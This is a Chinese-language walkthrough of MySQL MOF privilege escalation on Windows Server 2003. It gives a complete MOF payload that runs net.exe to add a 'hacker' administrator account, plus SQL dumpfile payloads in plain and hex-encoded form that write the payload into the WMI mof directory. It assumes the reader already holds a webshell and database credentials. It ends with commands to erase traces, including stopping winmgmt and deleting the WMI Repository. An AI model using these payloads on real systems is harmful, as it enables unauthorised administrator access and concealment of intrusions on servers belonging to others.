mysql mof提权

1. 前置知识

  • mysql中的secure_file_priv参数
  • 使用:
  • 当 secure_file_priv=NULL 时,是不允许mysql导出文件的
  • 当 secure_file_priv=xxx 时,是只允许mysql将文件导出到xxx目录下的
  • 当 secure_file_priv= 时,mysql可以将文件导出到任意目录下
  • 该参数在 my.ini 文件中。如要修改,只能通过my.ini文件修改,然后重启mysql。不能够通过sql语句进行修改。
  • 注意:
  • 在mysql5.5之前 secure_file_priv默认是空,这个情况下可以向任意绝对路径写文件
  • 在mysql5.5之后 secure_file_priv默认是NULL,这个情况下不可以写文件
  • MOF文件(了解一下即可)
  • 托管对象格式(MOF)文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。

2. mof提权原理及利用条件

  • mof提权原理
  • C:\WINDOWS\system32\wbem\mof 目录下的mof文件每隔一段时间(几秒左右)就会被系统自动的执行,且为系统权限,因为这个mof里面有一部分是VBS脚本,所以可以利用这个VBS脚本来调用CMD执行系统命令,如果mysql有权限操作mof目录的话,就可以来执行任意命令了。
  • 由该原理我们也不难想到:这里mysql的作用就类似于一个桥梁,仅仅用来帮助我们写mof文件而执行mof文件的并不是mysql本身。那么如果存在另一个软件(或往更大的范围说:如果存在另一种方法),我们也可以通过它向C:\WINDOWS\system32\wbem\mof目录中写mof文件的话,也是可以达到同样的效果的,没必要非要是mysql。
  • 利用条件
  1. windows 03及以下版本
  2. secure-file-priv参数的值 "是空的"
  3. mysq启动身份具有权限去读写 C:\WINDOWS\system32\wbem\mof 目录

3. 提权复现

3.1 实验环境

  • 本实验环境使用的是phpstudy搭建
  • php-5.3.29-nts + apache
  • mysql版本是:5.5.53 MySQL Community Server (GPL)
  • 操作系统版本:windows 2003 sp2 enterprise edition

3.2 开始复现

  • 利用姿势其实是有两种:
  1. 第一种:我们先上传一个包含了恶意VBS代码的mof文件,再使用sql语句将上传的mof文件导出到 C:\WINDOWS\system32\wbem\mof目录下。
  2. 第二种:我们不上传mof文件,直接通过sql语句将恶意的VBS代码输出到 C:\WINDOWS\system32\wbem\mof 目录下(这个姿势在我们找不到上传点的情况下可以利用)。
  • 在这里我们假设已经拿到了网站的webshell,以及数据库的账号密码

3.2.1 第一种姿势

  1. 我们先把包含了恶意VBS代码的test.mof文件上传到 www 目录下
  • 以下是 test.mof 文件中的恶意VBS代码
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};
  1. 查看 secure_file_priv 参数,看mysql是否被允许导出文件

    • payload:
    • show variables like "secure_file_priv"
    • 发现 mysql可以导出文件
    • MySQL函数提权 mysql提权工具_MySQL函数提权


    • 注意:
      • 我的mysql的版本是5.5.53,该参数应该为 “secure_file_priv=NULL”,在这里为了让实验继续下去,便将参数修改为了“secure_file_priv=”
  2. 将test.mof文件中的恶意代码导出到 C:\WINDOWS\system32\wbem\mof 目录下

    • payload:
    • select load_file('C:/phpStudy/WWW/test.mof') into dumpfile 'C:/WINDOWS/system32/wbem/mof/test.mof'
    • 可以看到,我们已经成功的将mof文件导出到 C:\WINDOWS\system32\wbem\mof 目录下了
    • MySQL函数提权 mysql提权工具_上传_02


  3. 看我们的恶意代码是否被成功执行

    • 可以看到hack用户被成功创建,且被移动到了administrators组中
    • MySQL函数提权 mysql提权工具_mysql_03


3.2.2 第二种姿势

  • 直接通过sql语句将恶意VBS代码写入到 mof目录下
  • payload:
  • select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test2.mof"
    • 上面 sql 中 select 后面的字符串是恶意VBS代码的十六进制形式
    • 下图是执行的结果
    • MySQL函数提权 mysql提权工具_sql语句_04


4. 清除痕迹

  • 因为每隔一段时间时间,mof文件会被再次执行以致重新添加用户,所以想要清理痕迹得先暂时关闭 winmgmt服务再删除相关mof文件,这个时候在删除用户才会有效果
  • 操作命令如下(已检验可以使用):
  • # 停止 winmgmt 服务
    net stop winmgmt
    # 删除 Repository 文件夹
    rmdir /s /q C:\Windows\system32\wbem\Repository\
    # 手动删除 mof 文件
    del C:\Windows\system32\wbem\mof\good\test.mof /F /S
    # 删除创建的用户
    net user hacker /del
    # 重新启动服务
    net start winmgmt
  • 实操
  • MySQL函数提权 mysql提权工具_sql语句_05